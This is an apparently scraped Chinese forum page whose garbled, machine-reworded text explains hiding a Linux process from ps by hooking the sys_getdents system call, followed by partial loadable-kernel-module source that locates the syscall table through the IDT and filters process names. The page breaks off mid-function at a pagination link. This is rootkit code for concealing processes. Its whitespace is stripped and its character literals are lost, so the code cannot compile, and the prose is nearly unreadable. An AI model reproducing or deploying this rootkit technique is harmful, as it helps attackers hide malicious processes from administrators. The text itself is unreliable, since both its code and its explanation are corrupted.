|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
系统做了些什么,这需要时间去掌握,(背命令不是一件好的学习方法,相信我你一定会在你背完之前全部忘光),尽量掌握常用命令;
很早之前的小程序,对照复杂可是以为风趣
道理很复杂,Linux检察历程的命令ps是经由过程体系挪用sys_getdents完成,sys_getdents用户猎取一个指定路径下的目次条目,实践上就是列举
/proc/ 下的pid,如许我们只必要hook一下sys_getdents,把响应的要埋没的pid信息往失落便可。
以下是LKM代码,在Linux-2.6.14测试并运转乐成
#include<linux/module.h>
#include<linux/kernel.h>
#include<asm/unistd.h>
#include<linux/types.h>
#include<linux/dirent.h>
#include<linux/string.h>
#include<linux/file.h>
#include<linux/fs.h>
#defineCALLOFF100
//利用模块参数来界说必要埋没的历程名
char*processname;
module_param(processname,charp,0);
struct{
unsignedshortlimit;
unsignedintbase;
}__attribute__((packed))idtr;
struct{
unsignedshortoff1;
unsignedshortsel;
unsignedcharnone,
flags;
unsignedshortoff2;
}__attribute__((packed))*idt;
void**sys_call_table;
asmlinkagelong(*orig_getdents)(unsignedintfd,structlinux_dirent64__user*dirp,unsignedintcount);
char*findoffset(char*start)
{
char*p;
for(p=start;p<start+CALLOFF;p++)
if(*(p+0)==xff&&*(p+1)==x14&&*(p+2)==x85)
returnp;
returnNULL;
}
intmyatoi(char*str)
{
intres=0;
intmul=1;
char*ptr;
for(ptr=str+strlen(str)-1;ptr>=str;ptr--){
if(*ptr<0||*ptr>9)
return(-1);
res+=(*ptr-0)*mul;
mul*=10;
}
return(res);
}
structtask_struct*get_task(pid_tpid)
{
structtask_struct*p=get_current(),*entry=NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid==pid)
{
printk("pidfound
");
returnentry;
}
}
returnNULL;
}
staticinlinechar*get_name(structtask_struct*p,char*buf)
{
inti;
char*name;
name=p->comm;
i=sizeof(p->comm);
do{
unsignedcharc=*name;
name++;
i--;
*buf=c;
if(!c)
break;
if(c==){
buf[1]=c;
buf+=2;
continue;
}
if(c==
){
buf[0]=;
buf[1]=n;
buf+=2;
continue;
}
buf++;
}
while(i);
*buf=
;
returnbuf+1;
}
intget_process(pid_tpid)
{
structtask_struct*task=get_task(pid);
char*buffer[64]={0};
if(task)
{
12下一页
网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rloginrcp、finger、mail、nslookup |
|